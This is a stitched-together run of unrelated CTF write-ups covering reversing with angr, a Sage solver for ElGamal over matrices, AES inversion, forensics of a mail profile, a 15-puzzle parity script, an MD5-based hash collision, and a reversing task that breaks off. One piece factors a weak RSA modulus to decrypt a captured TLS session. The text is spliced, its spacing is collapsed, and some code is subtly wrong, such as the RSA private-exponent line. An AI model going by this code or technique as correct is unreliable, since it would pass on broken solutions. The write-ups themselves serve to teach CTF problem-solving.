File -> Strings -> Radare2 -> AngryIDA (IDA Pro angr plugin) -> Flag.
## Challenge

The challenge provided me with just a download link to a zip file and a comment "Happiness:)". The downloaded file has been renamed and can be found in this directory as RedVelvet.zip. Using the Linux 'file' utility, I identify the file as an: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=84e7ef91c33878cf9eefc00a7a450895aa573494, not strippedx86-64 ELF executable file and it's not stripped. Next, I used the Linux 'strings' utility to view any ASCII strings found in the binary. This revealed two strings of particular interest:- Your flag :- flag : {" %s "}
Running the binary confirmed that the first string, "Your flag :", is the input prompt. Based on executing the binary, I think the goal of the challenge is provide the correct input and the flag will be printed to the screen.
## Solution
Using Radare2, I analyzed the binary and took a look at the functions with the 'afl' command. As shown below, I see a few functions I want to look into: main, strcmp, func1, func2, ..., func15.

Next, I looked at the main function by using the Radare2 commands 's main' and 'Vp'. In the main function, I quickly identify the instructions responsible for printing the prompt and receiving user input. In the rest of the main function, I see each function 'func1 - func15' are each called once.

Looking into the functions 'func1 -func15', I see that each performs some manipulations and comparisons based on the user input. If the comparisons are true then execution will continue, otherwise execution will halt and the program will exit. Function 'func1' shown below:

Near the end of the main function I see the basic block which will print the flag if I have provided the correct input.

This challenge looks like a perfect fit to be solved with the angr binary analysis framework. To use angr, I start up a Windows machine and open the binary in IDA Pro. I then load my IDA Pro plug-in for angr, AngryIDA. Using AngryIDA, I set the address I want angr to find a path to during symbolic execution.

For this challenge I need to set up angr to use symbolic standard input. This is easily done through the context menus built into IDA Pro when AngryIDA is being used. I set symbolic stdin to be 0x1b characters and specify the last character to be a newline. The length 0x1b is the value that is being passed to fgets when the user input is read.

AngryIDA explored the binary and returned the following as the correct value for user input.

This was not the correct input though. This input passed most of the functions and comparisons but did not print the flag. Understanding that symbolic execution can find solutions that were not intentioned by the original binary, I quickly decided to try changing \_l`\_la to \_la\_la.

This was a successful input and caused the program to print the flag, which happened to be the input it self.
`FLAG{What_You_Wanna_Be?:)_la_la}` |
# Sharif CTF 8 - ElGamat WriteUp## Challenge details| Event | Challenge | Category | Points ||:-------------------|:----------|:---------|:-------:|| Sharif CTF 8 |ElGamat |Crypto |200 |
### Description> ElGamal over Matrices: algebra-focused crypto challenge>> you can find full description in [ElGamat.pdf](ElGamat.pdf)### Attachments> [Matrices.txt](Matrices.txt)## Solution
This problem appears to be similar to the discrete logarithm problem (see [Discrete logarithm](https://en.wikipedia.org/wiki/Discrete_logarithm)), but instead of the generator g we a have a matrix G, So we need to find x such that G^x = H (both G and H are 5 square Matrices).
Matrices => Linear Algebra: this challenge requires some fundamentals in linear algebra.
At the beginning I tried to diagonalize the matrix G and H in order to transform the problem to a discrete logarithm problem, but it will stay hard to solve since p-1 is not a product of small primes which in this case Pohlig–Hellman algorithm is not an efficient method for computing the discrete logarithms.
After doing some googling I figure out that in order to make this problem easy to solve we need to put both Matrices G and H in Jordan normal form (see [Jordan normal form](https://en.wikipedia.org/wiki/Jordan_normal_form))
A Jordan matrix has each non-zero off-diagonal entry equal to 1, immediately above the main diagonal.
for A a Jordan block as 2*2 matrix, if we have a repeated eigenvalues:

for B = A^x:

therefore in this case: 
Now we need to apply this solution to ElGamat problem
In our case G[3][3] to G[4][4] is a Jordan block with repeated eigenvalues, and all arithmetic operations are in Quotient Ring .
this is my code in sage ([ElGamat.sage](ElGamat.sage)):
```sageimport hashlib
p = 1461501637330902918203684832716283019655932542983
G = [ [1287397632974625907369332145667695136576732725719, 999149001044306271168727399637009399486427921379, 1046504160269652701583906344218556291030141088947, 724446625683754938181565321149725788430461092168, 1071845980147173642753960259602135592110139561915], [947603660931904341080240982051313712707367037453, 312289846563741934103580532543082761760226637905, 494739786803547247505263837170488583876166831850, 680540462980071181450018491798299105995449257198, 2602258415762368797405060707505977243346704576], [996213673531855992829525358578006610606634622631, 1025711294257038288640877971869685565227647136954, 1432432135773706484846126533752827108541355741973, 1238541870126055576875033883691918425137600727481, 1130938956963588695293783764965618873887596017827], [1320933266015680090206505704792362493057963931979, 1151746112645644166669332171392580649376526147475, 117512451110908867093773368598681106589771485221, 78071463743800894350883457304401524272336187149, 350437511649326676405126284689545814008237687775], [438339253001275654203062260777687750937184662400, 372483950165136927369598298270629892810999203086, 859008773869616460027135965589262417694174453098, 1174526536643808668299968641952541506024584582818, 13201859260259503932772826643483081858286638179] ]
H = [ [903022231855038558383593109888227525558007552960, 565977275270298825053282757799743346899236483368, 989303675765663596792169321947495382568831693037, 601579288654704389384765634776493921679315260303, 913791750749394879333717884106841876340654737006], [1159121456278955861257379214176694847802842944213, 55304385436577133507085707981392660143782780650, 559867756424853909301288957105188829240808301823, 1230859641388132364539374469026906952870988170695, 1423995124592695628047882256427827379994877406997], [1125565199147204322161069021173152827232960621114, 1373772036013472137002755957284397215018630262515, 640623873603434273377865546046279663852895430999, 1056809237992218798189986002766547616222871640976, 1426649441470162608512662468308504390861950649943], [303729376872199895471546635639837180361513146712, 1163767872227950278851006729914569662442255257700, 1320342731346163804219021270875175061467772367004, 433001013681018647747911760920686992297849343282, 1149024280460224794070159244078925721991430685838], [23661702916810298505759145354543089608241235601, 1048655828654821525617176122368805879408325508567, 587846047820504813842423941849757078103027466928, 1338365929525105225695097114139069216753339875455, 1425543850003062038868121400064269552725872690214] ]
R = IntegerModRing(p)M = MatrixSpace(R, 5, 5)g = M(G)h = M(H)
g, p_mat = g.jordan_form(transformation=True)
print '[+] jordan normal for G:'for i in g: print i
h = p_mat.inverse()*h*p_matprint '[+] jordan normal for H:'for i in h: print i
a11 = g[3][3]b11 = h[3][3]b12 = h[3][4]
x = a11*b12/b11assert b12 == x*a11^(x-1)
print '[+] solution:', x
def flag_gen(alpha): return 'SharifCTF{%s}' % hashlib.md5(str(alpha).encode()).hexdigest()
print '[+] FLAG:', flag_gen(x)``` |
We need to implement the inverse of the `permute` function to get the required values which we need to send to the server to get the flag.
`permute` performs 10 rounds of AES encryption using the hardcoded table which performs SubBytes, ShiftRows and MixColumns in one step.
The `solve_xor_parallel` function takes the 4 values output by one round of AES and inverts this to find the 4 original values, and it does this 9 times to get the original input passed to `permute`
[https://gist.github.com/sampritipanda/94aa62a7890e0f4dab2e8d3e07c58ac1#file-vn_x9-31_solve-py](https://gist.github.com/sampritipanda/94aa62a7890e0f4dab2e8d3e07c58ac1#file-vn_x9-31_solve-py) |
# Miro (crypto 404)
The task consists of two files, [client.py](client.py) and [miro.pcap](miro.pcap).
The python code is a TLS client that connects to a serverand plays a simple maze-like game, with for actions (up, down, left, right).
The problem is that the actions are encoded, and only 2 of them are available:
```python if user_input == "u": print "Sorry.. Not support function.." exit() elif user_input == "d": tls_client.send("6423e47152f145ee5bd1c014fc916e1746d66e8f5796606fd85b9b22ad333101\n") elif user_input == "r": tls_client.send("34660cfdd38bb91960d799d90e89abe49c1978bad73c16c6ce239bc6e3714796\n") elif user_input == "l": print "Sorry.. Not support function.." exit()```
We don't know how to go up or left and we need those actions to solve the maze.
On the other hand, we have a pcap file with another maze solving session,so we can check there what the encodings for up and left actions are.The problem is that, of course, that session is encryptedand we need to decipher it first.
To do so, we first get the server certificate, either by looking at the pcap fileor connecting to the server (i. e. `openssl s_client -connect ch41l3ng3s.codegate.kr:443`)
From the certificate, we extract both the RSA exponent (e = 65537) and modulus (n = 0x01c20bdc017e3caa3c579b40d439e2ecd70f12c4d7f2764784c95a3fddba00981ba9ce5b227ade47b0a7a0a8acaba4541ab95c52f6b6de3df9ec090c6c356445b21be437abe10214d0b4a398a96743bbf70c864687fb2ec929f01d6edab2d987fe09799ad2204a2704f33061dbf9c2e03b332f0ba1a446644c864a06cd586d480b)
Using [yafu](https://sourceforge.net/projects/yafu/), we factorize it to get `p` and `q`:
```> yafu factor\(0x01c20bdc017e3caa3c579b40d439e2ecd70f12c4d7f2764784c95a3fddba00981ba9ce5b227ade47b0a7a0a8acaba4541ab95c52f6b6de3df9ec090c6c356445b21be437abe10214d0b4a398a96743bbf70c864687fb2ec929f01d6edab2d987fe09799ad2204a2704f33061dbf9c2e03b332f0ba1a446644c864a06cd586d480b\)
fac: factoring 316033277426326097045474758505704980910037958719395560565571239100878192955228495343184968305477308460190076404967552110644822298179716669689426595435572597197633507818204621591917460417859294285475630901332588545477552125047019022149746524843545923758425353103063134585375275638257720039414711534847429265419fac: using pretesting plan: normalfac: no tune info: using qs/gnfs crossover of 95 digitsdiv: primes less than 10000fmt: 1000000 iterationsTotal factoring time = 1.2601 seconds
***factors found***
P155 = 17777324810733646969488445787976391269105128850805128551409042425916175469483806303918279424710789334026260880628723893508382860291986009694703181381742497P155 = 17777324810733646969488445787976391269105128850805128551409042425916175469168770593916088768472336728042727873643069063316671869732507795155086000807594027
ans = 1
```
With this, we generate the private key:
```pythonfrom Crypto.PublicKey import RSA
n = 0x01c20bdc017e3caa3c579b40d439e2ecd70f12c4d7f2764784c95a3fddba00981ba9ce5b227ade47b0a7a0a8acaba4541ab95c52f6b6de3df9ec090c6c356445b21be437abe10214d0b4a398a96743bbf70c864687fb2ec929f01d6edab2d987fe09799ad2204a2704f33061dbf9c2e03b332f0ba1a446644c864a06cd586d480bLe = 65537Lp = 17777324810733646969488445787976391269105128850805128551409042425916175469483806303918279424710789334026260880628723893508382860291986009694703181381742497Lq = 17777324810733646969488445787976391269105128850805128551409042425916175469168770593916088768472336728042727873643069063316671869732507795155086000807594027L
phi = (p - 1) * (q - 1)d = pow(e, phi - 2, phi)key = RSA.construct((n, e, d, p, q))open('priv.key', 'w').write(key.exportKey('PEM'))```
Adding the generated [private key](priv.key) to Wireshark we can now decipher the session and update the client:
```pythonfrom socket import *from ssl import *import time
def recv_until(s, string): result = '' while string not in result: result += s.recv(1) return result
client_socket=socket(AF_INET, SOCK_STREAM)tls_client = wrap_socket(client_socket, ssl_version=PROTOCOL_TLSv1_2, cert_reqs=CERT_NONE)print tls_clientprint tls_client.context.cert_store_stats()
print "[+] Connecting with server.."
tls_client.connect(('ch41l3ng3s.codegate.kr',443))
print "[+] Connect OK"
while 1: data = recv_until(tls_client, "Input : ") print data user_input = raw_input()
if user_input == "u": tls_client.send("9de133535f4a9fe7de66372047d49865d7cdea654909f63a193842f36038d362\n") elif user_input == "d": tls_client.send("6423e47152f145ee5bd1c014fc916e1746d66e8f5796606fd85b9b22ad333101\n") elif user_input == "r": tls_client.send("34660cfdd38bb91960d799d90e89abe49c1978bad73c16c6ce239bc6e3714796\n") elif user_input == "l": tls_client.send("27692894751dba96ab78121842b9c74b6191fd8c838669a395f65f3db45c03e2\n") else: print "Invalid input!" exit()
client_socket.shutdown(SHUT_RDWR)client_socket.close()```
That's it, now we can run the [solver.py](solver.py), escape the maze, and get the flag. |
# Client01 (forensics 75)
We get a file `client01.tar.gz` with a user home directory.We do some quick search for anything interesting.
```> grep -ir flag .Binary file ./.mozilla/firefox/c3a958fk.default/places.sqlite matchesBinary file ./.mozilla/firefox/c3a958fk.default/secmod.db matchesBinary file ./.cache/thunderbird/5bd7jhog.default/cache2/entries/C972AC86BA22ADBFC038B134C02101C894D0078A matchesBinary file ./.cache/mozilla/firefox/c3a958fk.default/cache2/entries/698AC159A6BCBA0D13FE6F10F1A38E498F826F33 matches./.thunderbird/5bd7jhog.default/ImapMail/imap.gmail.com/INBOX.msf: (B8=imapFlags)(B9=charSetOverride)(BA=charSet)(BB=highestRecordedUID)./.thunderbird/5bd7jhog.default/ImapMail/imap.gmail.com/INBOX.msf: (BE=dateReceived)(BF=ProtoThreadFlags)(C0=folderName)(C1=X-GM-MSGID)./.thunderbird/5bd7jhog.default/ImapMail/imap.gmail.com/INBOX.msf: (D3=cleanupBodies)(D4=applyToFlaggedMessages)(D5=useServerRetention)./.thunderbird/5bd7jhog.default/ImapMail/imap.gmail.com/INBOX.msf: (DA=op)(DB=msgKey)(DC=opFlags)(DD=newFlags)(DE=moveDest)(DF=msgSize)./.thunderbird/5bd7jhog.default/ImapMail/imap.gmail.com/INBOX.msf: (88=flags)(89=priority)(8A=label)(8B=statusOfset)(8C=numLines)./.thunderbird/5bd7jhog.default/ImapMail/imap.gmail.com/INBOX.msf: (8D=ccList)(8E=bccList)(8F=msgThreadId)(90=threadId)(91=threadFlags)./.thunderbird/5bd7jhog.default/ImapMail/imap.gmail.com/INBOX.msf: (B2=sortOrder)(B3=viewFlags)(B4=viewType)(B5=sortColumns)./.thunderbird/5bd7jhog.default/ImapMail/imap.gmail.com/INBOX.msf: ={"threadCol":{"visible":true,"ordinal":"1"},"flaggedCol":{"visible":true,\./.thunderbird/5bd7jhog.default/ImapMail/imap.gmail.com/Sent.msf: (84=references)(85=recipients)(86=date)(87=size)(88=flags)(89=priority)./.thunderbird/5bd7jhog.default/ImapMail/imap.gmail.com/Sent.msf: (8F=msgThreadId)(90=threadId)(91=threadFlags)(92=threadNewestMsgDate)./.thunderbird/5bd7jhog.default/ImapMail/imap.gmail.com/Templates.msf: (84=references)(85=recipients)(86=date)(87=size)(88=flags)(89=priority)./.thunderbird/5bd7jhog.default/ImapMail/imap.gmail.com/Templates.msf: (8F=msgThreadId)(90=threadId)(91=threadFlags)(92=threadNewestMsgDate)./.thunderbird/5bd7jhog.default/ImapMail/imap.gmail.com/[Gmail].sbd/Important.msf: (B8=highestModSeq)(B9=imapFlags)(BA=charSetOverride)(BB=charSet)./.thunderbird/5bd7jhog.default/ImapMail/imap.gmail.com/[Gmail].sbd/Important.msf: (C3=dateReceived)(C4=ProtoThreadFlags)(C5=X-GM-MSGID)(C6=X-GM-THRID)./.thunderbird/5bd7jhog.default/ImapMail/imap.gmail.com/[Gmail].sbd/Important.msf: (87=size)(88=flags)(89=priority)(8A=label)(8B=statusOfset)(8C=numLines)./.thunderbird/5bd7jhog.default/ImapMail/imap.gmail.com/[Gmail].sbd/Important.msf: (8D=ccList)(8E=bccList)(8F=msgThreadId)(90=threadId)(91=threadFlags)./.thunderbird/5bd7jhog.default/ImapMail/imap.gmail.com/[Gmail].sbd/Important.msf: (B1=MRUTime)(B2=sortType)(B3=sortOrder)(B4=viewFlags)(B5=viewType)./.thunderbird/5bd7jhog.default/ImapMail/imap.gmail.com/[Gmail].sbd/Important.msf: ={"threadCol":{"visible":true,"ordinal":"1"},"flaggedCol":{"visible":true,\./.thunderbird/5bd7jhog.default/ImapMail/imap.gmail.com/[Gmail].sbd/Trash.msf: (B8=columnStates)(B9=highestModSeq)(BA=imapFlags)(BB=charSetOverride)./.thunderbird/5bd7jhog.default/ImapMail/imap.gmail.com/[Gmail].sbd/Trash.msf: (C2=gloda-dirty)(C3=ProtoThreadFlags)(C4=X-GM-MSGID)(C5=X-GM-THRID)./.thunderbird/5bd7jhog.default/ImapMail/imap.gmail.com/[Gmail].sbd/Trash.msf: (D3=ns:msg:db:table:kind:ops)(D4=op)(D5=msgKey)(D6=opFlags)./.thunderbird/5bd7jhog.default/ImapMail/imap.gmail.com/[Gmail].sbd/Trash.msf: (D7=newFlags)(D8=srcFolderURI)(D9=srcMsgKey)./.thunderbird/5bd7jhog.default/ImapMail/imap.gmail.com/[Gmail].sbd/Trash.msf: (84=references)(85=recipients)(86=date)(87=size)(88=flags)(89=priority)./.thunderbird/5bd7jhog.default/ImapMail/imap.gmail.com/[Gmail].sbd/Trash.msf: (8F=msgThreadId)(90=threadId)(91=threadFlags)(92=threadNewestMsgDate)./.thunderbird/5bd7jhog.default/ImapMail/imap.gmail.com/[Gmail].sbd/Trash.msf: (B5=viewFlags)(B6=viewType)(B7=sortColumns)>./.thunderbird/5bd7jhog.default/ImapMail/imap.gmail.com/[Gmail].sbd/Trash.msf: (AA=flag)(AB./.thunderbird/5bd7jhog.default/ImapMail/imap.gmail.com/[Gmail].sbd/Trash.msf: ={"threadCol":{"visible":true,"ordinal":"1"},"flaggedCol":{"visible":true,\./.thunderbird/5bd7jhog.default/ImapMail/imap.gmail.com/[Gmail].sbd/Spam.msf: (B8=columnStates)(B9=highestModSeq)(BA=imapFlags)(BB=charSetOverride)./.thunderbird/5bd7jhog.default/ImapMail/imap.gmail.com/[Gmail].sbd/Spam.msf: (88=flags)(89=priority)(8A=label)(8B=statusOfset)(8C=numLines)./.thunderbird/5bd7jhog.default/ImapMail/imap.gmail.com/[Gmail].sbd/Spam.msf: (8D=ccList)(8E=bccList)(8F=msgThreadId)(90=threadId)(91=threadFlags)./.thunderbird/5bd7jhog.default/ImapMail/imap.gmail.com/[Gmail].sbd/Spam.msf: (B5=viewFlags)(B6=viewType)(B7=sortColumns)>./.thunderbird/5bd7jhog.default/ImapMail/imap.gmail.com/[Gmail].sbd/Spam.msf: ={"threadCol":{"visible":true,"ordinal":"1"},"flaggedCol":{"visible":true,\./.thunderbird/5bd7jhog.default/ImapMail/imap.gmail.com/[Gmail].sbd/Trash:Subject: flag./.thunderbird/5bd7jhog.default/ImapMail/imap.gmail.com/[Gmail].sbd/Starred.msf: (84=references)(85=recipients)(86=date)(87=size)(88=flags)(89=priority)./.thunderbird/5bd7jhog.default/ImapMail/imap.gmail.com/[Gmail].sbd/Starred.msf: (8F=msgThreadId)(90=threadId)(91=threadFlags)(92=threadNewestMsgDate)./.thunderbird/5bd7jhog.default/ImapMail/imap.gmail.com/[Gmail].sbd/Starred.msf: (B1=highestModSeq)(B2=imapFlags)(B3=charSetOverride)(B4=charSet)>./.thunderbird/5bd7jhog.default/ImapMail/imap.gmail.com/[Gmail].sbd/Sent Mail.msf: (B8=highestModSeq)(B9=imapFlags)(BA=charSetOverride)(BB=charSet)./.thunderbird/5bd7jhog.default/ImapMail/imap.gmail.com/[Gmail].sbd/Sent Mail.msf: (BE=ns:msg:db:table:kind:pending)(BF=dateReceived)(C0=ProtoThreadFlags)./.thunderbird/5bd7jhog.default/ImapMail/imap.gmail.com/[Gmail].sbd/Sent Mail.msf: (D0=msgKey)(D1=opFlags)(D2=newFlags)(D3=moveDest)(D4=msgSize)./.thunderbird/5bd7jhog.default/ImapMail/imap.gmail.com/[Gmail].sbd/Sent Mail.msf: (88=flags)(89=priority)(8A=label)(8B=statusOfset)(8C=numLines)./.thunderbird/5bd7jhog.default/ImapMail/imap.gmail.com/[Gmail].sbd/Sent Mail.msf: (8D=ccList)(8E=bccList)(8F=msgThreadId)(90=threadId)(91=threadFlags)./.thunderbird/5bd7jhog.default/ImapMail/imap.gmail.com/[Gmail].sbd/Sent Mail.msf: (B1=MRUTime)(B2=sortType)(B3=sortOrder)(B4=viewFlags)(B5=viewType)./.thunderbird/5bd7jhog.default/ImapMail/imap.gmail.com/[Gmail].sbd/Sent Mail.msf: ={"threadCol":{"visible":true},"attachmentCol":{"visible":true},"flaggedCo\./.thunderbird/5bd7jhog.default/ImapMail/imap.gmail.com/[Gmail].sbd/Sent Mail.msf: (DA=useServerDefaults)(DB=cleanupBodies)(DC=applyToFlaggedMessages)./.thunderbird/5bd7jhog.default/ImapMail/imap.gmail.com/[Gmail].sbd/Drafts.msf: (B8=highestModSeq)(B9=imapFlags)(BA=charSetOverride)(BB=charSet)./.thunderbird/5bd7jhog.default/ImapMail/imap.gmail.com/[Gmail].sbd/Drafts.msf: (84=references)(85=recipients)(86=date)(87=size)(88=flags)(89=priority)./.thunderbird/5bd7jhog.default/ImapMail/imap.gmail.com/[Gmail].sbd/Drafts.msf: (8F=msgThreadId)(90=threadId)(91=threadFlags)(92=threadNewestMsgDate)./.thunderbird/5bd7jhog.default/ImapMail/imap.gmail.com/[Gmail].sbd/Drafts.msf: (B1=MRUTime)(B2=sortType)(B3=sortOrder)(B4=viewFlags)(B5=viewType)./.thunderbird/5bd7jhog.default/ImapMail/imap.gmail.com/[Gmail].sbd/Drafts.msf: ={"threadCol":{"visible":true},"attachmentCol":{"visible":true},"flaggedCo\./.thunderbird/5bd7jhog.default/ImapMail/imap.gmail.com/[Gmail].sbd/All Mail.msf: (B8=dateReceived)(B9=ProtoThreadFlags)(BA=folderName)(BB=X-GM-MSGID)./.thunderbird/5bd7jhog.default/ImapMail/imap.gmail.com/[Gmail].sbd/All Mail.msf: (C5=replyTo)(C6=sortType)(C7=sortOrder)(C8=viewFlags)(C9=viewType)./.thunderbird/5bd7jhog.default/ImapMail/imap.gmail.com/[Gmail].sbd/All Mail.msf: (86=date)(87=size)(88=flags)(89=priority)(8A=label)(8B=statusOfset)./.thunderbird/5bd7jhog.default/ImapMail/imap.gmail.com/[Gmail].sbd/All Mail.msf: (91=threadFlags)(92=threadNewestMsgDate)(93=children)./.thunderbird/5bd7jhog.default/ImapMail/imap.gmail.com/[Gmail].sbd/All Mail.msf: (B1=highestModSeq)(B2=imapFlags)(B3=charSetOverride)(B4=charSet)./.thunderbird/5bd7jhog.default/ImapMail/imap.gmail.com/[Gmail].sbd/All Mail.msf:<(93=flag)>[3:^9A(^95^93)]./.thunderbird/5bd7jhog.default/ImapMail/imap.gmail.com/[Gmail].sbd/All Mail.msf: ={"threadCol":{"visible":true,"ordinal":"1"},"flaggedCol":{"visible":true,\./.thunderbird/5bd7jhog.default/ImapMail/imap.gmail.com/Drafts.msf: (84=references)(85=recipients)(86=date)(87=size)(88=flags)(89=priority)./.thunderbird/5bd7jhog.default/ImapMail/imap.gmail.com/Drafts.msf: (8F=msgThreadId)(90=threadId)(91=threadFlags)(92=threadNewestMsgDate)./.thunderbird/5bd7jhog.default/ImapMail/imap.gmail.com/INBOX:Subject: flag./.thunderbird/5bd7jhog.default/ImapMail/imap.gmail.com/[Gmail].msf: (84=references)(85=recipients)(86=date)(87=size)(88=flags)(89=priority)./.thunderbird/5bd7jhog.default/ImapMail/imap.gmail.com/[Gmail].msf: (8F=msgThreadId)(90=threadId)(91=threadFlags)(92=threadNewestMsgDate)./.thunderbird/5bd7jhog.default/ImapMail/imap.gmail.com/[Gmail].msf: (B8=cleanupBodies)(B9=applyToFlaggedMessages)(BA=useServerRetention)./.thunderbird/5bd7jhog.default/ImapMail/imap.gmail.com/Archives.msf: (84=references)(85=recipients)(86=date)(87=size)(88=flags)(89=priority)./.thunderbird/5bd7jhog.default/ImapMail/imap.gmail.com/Archives.msf: (8F=msgThreadId)(90=threadId)(91=threadFlags)(92=threadNewestMsgDate)./.thunderbird/5bd7jhog.default/ImapMail/imap.gmail.com.msf: (84=references)(85=recipients)(86=date)(87=size)(88=flags)(89=priority)./.thunderbird/5bd7jhog.default/ImapMail/imap.gmail.com.msf: (8F=msgThreadId)(90=threadId)(91=threadFlags)(92=threadNewestMsgDate)Binary file ./.thunderbird/5bd7jhog.default/places.sqlite matchesBinary file ./.thunderbird/5bd7jhog.default/calendar-data/local.sqlite matches./.thunderbird/5bd7jhog.default/blocklist-addons.json: "why": "Certain versions of this add-on contains an executable that is flagged by multiple tools as malware. Newer versions no longer use it.",./.thunderbird/5bd7jhog.default/panacea.dat: (8A=charset)(8B=boxFlags)(8C=hierDelim)(8D=onlineName)(8E=aclFlags)./.thunderbird/5bd7jhog.default/panacea.dat: (81=ns:msg:db:table:kind:folders)(82=key)(83=flags)(84=totalMsgs)Binary file ./.thunderbird/5bd7jhog.default/kinto.sqlite matchesBinary file ./.thunderbird/5bd7jhog.default/secmod.db matches./.thunderbird/5bd7jhog.default/Mail/Local Folders/Trash.msf: (84=references)(85=recipients)(86=date)(87=size)(88=flags)(89=priority)./.thunderbird/5bd7jhog.default/Mail/Local Folders/Trash.msf: (8F=msgThreadId)(90=threadId)(91=threadFlags)(92=threadNewestMsgDate)./.thunderbird/5bd7jhog.default/Mail/Local Folders/Trash.msf: (B8=applyToFlaggedMessages)(B9=useServerRetention)(B2=retainBy)./.thunderbird/5bd7jhog.default/Mail/Local Folders/Unsent Messages.msf: (B8=applyToFlaggedMessages)(B9=useServerRetention)./.thunderbird/5bd7jhog.default/Mail/Local Folders/Unsent Messages.msf: (84=references)(85=recipients)(86=date)(87=size)(88=flags)(89=priority)./.thunderbird/5bd7jhog.default/Mail/Local Folders/Unsent Messages.msf: (8F=msgThreadId)(90=threadId)(91=threadFlags)(92=threadNewestMsgDate)Binary file ./.thunderbird/5bd7jhog.default/global-messages-db.sqlite matches./.xsession-errors.old: 'su', (bus_name, flags)))./.xsession-errors: 'su', (bus_name, flags)))```
There's clearly something interesting in that output, an mail with `flag` subject:
```./.thunderbird/5bd7jhog.default/ImapMail/imap.gmail.com/INBOX:Subject: flag```
We open that inbox file, look for the email and see that it contains a[link to a file](http://www.filehosting.org/file/details/720884/Ncemd1SxbOVaOrbW/file).
We download the [file](file) open in and see what it seems like a PNG file:
```00000010: 894e 470d 0a1a 0a00 0000 0d49 4844 5200 .NG........IHDR.00000010: 0003 e800 0000 c804 0300 0000 89c9 d67c ...............|00000020: 0000 001b 504c 5445 0000 00ff ffff 5f5f ....PLTE......__...```
The problem is that the magic value of the file is incorrectwe replace the first byte by a `P` and we can now see the flag:
 |
> 150 > > Fifteen Puzzle> > You are given 128 puzzles (https://en.wikipedia.org/wiki/15_puzzle)> The ith puzzle determines the ith bit of the flag:> * 1 if the puzzle is soluble> * 0 if the puzzle is unsoluble>> Implement is_soluble() below, and use the code to get the flag!> > def is_soluble(i):> return 0>> flag = ' '>> for i in range(128):> flag = ('1' if is_soluble(i) else '0') + flag> > print('SharifCTF{%016x}' % int(flag, 2))> > [Download](https://0xd13a.github.io/ctfs/sharif2018/fifteen-puzzle/puzzles.txt)
This was a fairly easy problem to solve, but the right flag took forever to submit. What I believe was happening is the bits on the flag in the system were inverted, but the admins were adamant that everything was correct. :) Whatever, all is well that ends well.
There are many algorithms available on the Web that implement solvability for 15 Puzzle. We can take the one from [here](https://github.com/BrunoGomesCoelho/15-puzzle-problem/blob/master/utils.py) and modify it.
Let's add the code to parse the file to it and we are done:
```pythonN = 4
def isSolvable(array):
inversions = 0 for i in range(N*N-1): for j in range(i+1, N*N): if array[i] != 0 and array[j] != 0 and array[i] > array[j]: inversions += 1
zero_pos = -1 for i in range(N*N): if array[i] == 0: zero_pos = i / N break
return (zero_pos % 2 == 0 and inversions % 2 == 1) or (zero_pos % 2 == 1 and inversions % 2 == 0)
flag = ""puzzle = []
for x in open("puzzles.txt","r").readlines():
# parse values into an array if x[0] == '|': values = x.split('|')[1:5]
for i in range(N): val = values[i].strip() if len(val) == 0: puzzle.append(0) else: puzzle.append(int(val)) if len(puzzle) == N*N: # we are inverting bits here to make the flag what the organizers expect :) flag = ('0' if isSolvable(puzzle) else '1') + flag puzzle = [] # the format mask needs to be %032x instead of %016xprint 'SharifCTF{%032x}' % int(flag, 2)```
The flag is ```SharifCTF{52d3b36b2167d2076b06d8101582b7af}```. |
# fHash (crypto 200)
The task provides a program, [fHash.py](fHash.py),that creates a hash from a message and two IVs.
The challenge is to obtain a collision with a different message.
Analyzing the hashing program, the input conssts in:
* The two IVs are 2 bytes hex encoded (strings of length 4)* The message consists in 8 bytes hex encoded (string of length 16)
The algorithm first splits the message in 4 parts of 2 bytes eachand consists in a round per part (4 rounds in total).
Each round is divided in two parts, one per IV.Both work the same way:* Concatenate the IV and the of the message* Obtain the md5 of the resulting string* Take the first 2 bytes of the digest, in hex (string of length 4)* Replace the original IV with the resulting string
Since rounds are independant of each other,we can focus just on getting just a valid input (2 IVs and message block)that generate the expected output.Doing this backward, we can find the initial IVs and message after 4 rounds.
Inside a round the 2 IVs are independant but the message is shared,so we just look for a pair of first IV + message blockthat results in the expected output (next first IV).When we found this pair, we use the found message andtry to find a second IV that when concatenated with this found messageresults in the expected output (next second IV).
Since the outputs we are searching for are rather small (2 bytes each),it should be pretty easy to find collisions,so we can efficiently bruteforce a solution, as done by [solver.py](solver.py). |
[writeup by @bonaff]
**CTF:** 0x00CTF
**Team:** spritzers (from [SPRITZ Research Group](http://spritz.math.unipd.it/))
**Task:** Reverse / challenge-000 (guessme)
**Points:** 50
>Hi there. Can you find the right key that unlocks the flag?>Platform: 64 bit Linux (developed on Ubuntu)
For this challenge we are given an executable. Running `file` on it gives us the following information:
```textguessme: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=92b1d84ee22b7c92dc80fac971bdc7f6cd0e3672, stripped ```
Running it:
```$ ./guessmeEnter a key: fooFAIL```
This program as you can see is quite simple:1. It asks for a key;2. If the key is correct it will print the flag.
Decompiling the main function, we can clearly see where it checks if the password is correct or no:
```cinput_key_size = std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::length(&input_key); if ( input_key_size == sub_401402(&buffer) ) { std::operator<<<std::char_traits<char>>(&std::cout, "FAIL\n"); v5 = 1; }else {for ( i = 0; i < (unsigned __int64)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::length(&v14); ++i ) { v6 = *(char *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](&v14, i) - 97; if ( v6 == *(_DWORD *)sub_4012D8(&v13, i) ) { std::operator<<<std::char_traits<char>>(&std::cout, "FAIL\n"); v5 = 2; goto FAIL; } }```
Initially it checks if the key we inserted is of the right length (returned by `sub_401402(&buffer)`).
`buffer` contains our key, and it is generated by this code:
```csub_4011FA(&len, a2, a3);sub_401232((__int64)&buffer, 14LL, (__int64)&len;;sub_401216(&len;;*(_DWORD *)get_buffer_item(&buffer, 13LL) = 233;*(_DWORD *)get_buffer_item(&buffer, 12LL) = 144;len = 11;sub_4010DF(&buffer, &len;;sub_4012F8(&v11, &buffer);while ( 1 ){ sub_401338(&len, &buffer); if ( !(unsigned __int8)sub_40136C(&v11, &len) ) break; v3 = (_DWORD *)sub_4013B2(&v11); *v3 %= 26; sub_401394(&v11);}```
Since I'm quite lazy, I preferred to run the program, set a break point once our buffer is ready, and then dump it.
